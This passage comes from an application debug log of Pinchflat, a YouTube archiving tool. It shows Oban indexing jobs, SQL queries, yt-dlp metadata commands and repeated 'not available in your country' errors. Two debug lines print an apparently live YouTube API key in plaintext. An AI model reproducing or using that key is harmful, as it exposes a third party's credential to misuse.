((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:37:27.643 [debug] QUERY OK source="tasks" db=0.1ms idle=132.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800258, 36, ~U[2026-02-10 23:37:27Z], ~U[2026-02-10 23:37:27Z]] 17:37:27.643 [info] {"args":{"id":36},"id":3800219,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133804,"event":"job:stop","queue_time":535180,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:29.610 [info] {"source":"oban","duration":10643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:37.520 [info] {"args":{"id":6},"id":3800220,"meta":{},"system_time":1770766657520340017,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:37.520 [debug] QUERY OK source="sources" db=0.1ms idle=642.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:37:37.520 [debug] QUERY OK source="settings" db=0.0ms idle=642.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.521 [debug] QUERY OK source="media_profiles" db=0.1ms idle=642.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:37.521 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.521 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 17:37:37.521 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.521 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:37.609 [debug] QUERY OK source="media_items" db=0.6ms idle=88.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 17:37:37.610 [debug] QUERY OK source="settings" db=0.0ms idle=89.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.610 [debug] QUERY OK source="settings" db=0.0ms idle=89.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.610 [debug] Running yt-dlp command for action: get_media_attributes 17:37:37.613 [debug] QUERY OK source="settings" db=0.0ms idle=92.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.613 [debug] QUERY OK source="settings" db=0.0ms idle=92.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.613 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:37.613 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/57/89/57896d6209d28e5e7cfb307cfd17522009acef7cc50b91b427f1f61963cf879f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:37:38.985 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/57/89/57896d6209d28e5e7cfb307cfd17522009acef7cc50b91b427f1f61963cf879f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:37:38.986 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:37:38.986 [debug] QUERY OK source="settings" db=0.1ms idle=471.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:38.986 [debug] QUERY OK source="settings" db=0.1ms idle=107.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:38.986 [debug] Running yt-dlp command for action: get_media_attributes 17:37:38.988 [debug] QUERY OK source="settings" db=0.0ms idle=110.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:38.988 [debug] QUERY OK source="settings" db=0.0ms idle=110.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:38.989 [debug] QUERY OK source="settings" db=0.1ms idle=110.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:38.989 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5d/7e/5d7e772db75418956a7a11e8b099ef50ddc799eb1b5ad6ac7f6f6d11e257485e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:37:40.442 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5d/7e/5d7e772db75418956a7a11e8b099ef50ddc799eb1b5ad6ac7f6f6d11e257485e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:37:40.443 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:37:40.443 [debug] QUERY OK source="settings" db=0.1ms idle=1456.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.443 [debug] QUERY OK source="settings" db=0.0ms idle=1454.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.443 [debug] Running yt-dlp command for action: get_media_attributes 17:37:40.445 [debug] QUERY OK source="settings" db=0.0ms idle=1456.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.445 [debug] QUERY OK source="settings" db=0.0ms idle=1456.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.445 [debug] QUERY OK source="settings" db=0.0ms idle=929.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.445 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0b/27/0b2795158431d19cd38fbd53eff8bdc479bd9b1ce9b6273308bd6a6e446371c5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:37:40.523 [info] {"args":{"id":23},"id":3800221,"meta":{},"system_time":1770766660523920098,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:40.524 [debug] QUERY OK source="sources" db=0.1ms idle=78.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:37:40.524 [debug] QUERY OK source="settings" db=0.1ms idle=79.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.524 [debug] QUERY OK source="media_profiles" db=0.1ms idle=79.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:40.524 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.524 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:37:40.524 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:40.525 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:40.672 [debug] QUERY OK source="media_items" db=0.7ms idle=147.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", 